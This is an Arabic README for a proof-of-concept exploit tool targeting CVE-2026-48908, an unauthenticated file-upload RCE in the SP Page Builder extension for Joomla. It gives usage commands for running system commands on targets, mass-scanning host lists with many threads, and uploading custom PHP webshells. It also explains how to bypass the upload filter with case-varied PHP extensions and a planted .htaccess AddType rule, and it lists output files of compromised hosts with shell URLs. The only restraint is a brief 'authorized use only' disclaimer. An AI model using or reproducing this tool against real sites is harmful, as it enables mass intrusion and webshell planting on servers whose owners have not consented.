
إثبات مفهوم (PoC) لـ RCE غير مصادق عليه لـ CVE-2026-48908 أداة استغلال رفع ملف عشوائي وتنفيذ أكواد عن بُعد لـ SP Page Builder (Joomla) مع دعم المسح الجماعي.
SP Page Builder (com_sppagebuilder) لجوملا ≤ 6.6.1 يُتيح للمهاجمين غير المصادق عليهم رفع ملفات عشوائية وتحقيق تنفيذ الأوامر عن بعد.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (تحكم وصول غير صحيح) |
| المكون | SP Page Builder (com_sppagebuilder) |
| المتأثر | 1.0.0 – 6.6.1 |
| تم الإصلاح في | 6.6.2 |
| الصلاحيات | لا يوجد (قبل المصادقة) |
| تفاعل المستخدم | لا يوجد |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # فحص فقط، بدون أمر
python3 exploit_poc.py https://target.example --token abc123 # رمز مخصص
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 خيطًا متوازيًا
python3 exploit_poc.py --hosts ips.txt --no-verbose # وضع هادئ
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
ملاحظة: عند استخدام
--shell-file، يقوم البرنامج النصي فقط برفع الشل ويُبلغ عن الرابط. لا يقوم بتشغيل الأمر-cأو إجراء أي اختبار تنفيذ. يجب أن تتعامل الشل المرفوعة مع إدخال الأوامر بشكل مستقل.



بعد المسح، يتم حفظ ثلاثة ملفات نتائج:
يستغل الثغرة مهمة asset.uploadCustomIcon في com_sppagebuilder:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/.يحاول البرنامج النصي عدة امتدادات PHP (.php، .PHP، .pHp، .Php، .pht، .phtml، إلخ) حتى يجد امتدادًا ينفذ.
عندما يتم حظر امتدادات PHP المباشرة بواسطة مرشح SPPB، يقوم البرنامج النصي بوضع ملف .htaccess بجانب الحمولة:
AddType application/x-httpd-php .PHP
يجبر ذلك خادم الويب على معاملة .PHP (بحروف كبيرة) كملف PHP — متجاوزًا قائمة الحظر الحساسة لحالة الأحرف في SPPB. يتطلب تمكين AllowOverride والسماح بتنفيذ PHP في /media.
ملاحظة: قد لا يعمل تجاوز
.htaccess+.PHPالكبيرة في جميع التهيئات. إذا فشل، جرب استخدام امتدادات.pngأو.jpegبدلاً من ذلك. على الخوادم التي تم تعطيلAllowOverrideفيها أو حظر تنفيذ PHP في/media، حتى الشل المرفوعة لن يتم تنفيذها (يتم الإبلاغ عنها كـ "للقراءة فقط").
يعتمد هذا الإثبات على https://github.com/papageo75/CVE-2026-48908-PoC/ مع الإضافات التالية:
قد تحتوي بعض استجابات الخادم على بادئات غير JSON (مثل تعبيرات cron أو بيانات غير مرغوب فيها أخرى) قبل الحمولة الفعلية لـ JSON. كان الإثبات الأصلي يتعطل عند استدعاء r.json() أثناء تحليل هذه الاستجابات. يقوم هذا الإصدار بالمسح عن أول حرف { ويحاول فك تشفير السلسلة النصية JSON جزئيًا:
قبل:
try:
data = r.json()
except ValueError:
return None
بعد:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
مثال — استجابة JSON صالحة:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
مثال — استجابة غير JSON (بيانات غير مرغوب فيها قبل JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
تمت إضافة إمكانية المسح الجماعي متعدد الخيوط:
--hosts <file> — تحميل الأهداف من ملف (مضيف واحد لكل سطر)-j, --threads <n> — تعيين عدد الخيوط المتوازية (الافتراضي: 10)--no-verbose — إخفاء الإخراج المفصل لكل مضيف.txt مصنفةتمت إضافة خيار --shell-file <path> لرفع شل PHP مخصصة بدلاً من الشل المدمجة المحمية برمز. عند استخدام هذا الخيار:
-crun())custom_shell_hosts.txtللاستخدام المصرح به فقط. لاختبارات الاختراق المعتمدة ومسابقات CTF والأهداف المختبرية فقط. أنت وحدك المسؤول عن كيفية استخدام هذه الأداة.
| العلم | الوصف |
|---|
url | رابط الهدف المستهدف (موضعي أو --url) |
--hosts <file> | ملف يحتوي على مضيف واحد لكل سطر |
-c, --cmd <cmd> | الأمر المراد تنفيذه (الافتراضي: id) |
--check | فحص فقط، لا تقم بتشغيل أمر |
--token <token> | رمز سري يحمي الشل المرفوعة (الافتراضي: عشوائي) |
--shell-file <path> | رفع شل PHP مخصصة بدلاً من الشل المدمجة |
-j, --threads <n> | الخيوط المتوازية للمسح الجماعي (الافتراضي: 10) |
--no-verbose | إخفاء الإخراج المفصل لكل مضيف |
| الملف | المحتوى |
|---|
vulnerable_hosts.txt | المضيفات التي تم تأكيد RCE فيها + روابط الشل |
not_vulnerable_hosts.txt | المضيفات التي تم تصحيحها أو غير موجودة |
partial_vulnerable_hosts.txt | المضيفات التي تمتلك كتابة ملفات ولكن لا تنفيذ PHP |
custom_shell_hosts.txt | المضيفات التي تم رفع شل مخصصة لها، مجمعة حسب الرابط الأساسي (يتم إنشاؤها فقط عند استخدام --shell-file) |
scan_results.json | نتائج JSON كاملة لجميع المضيفات |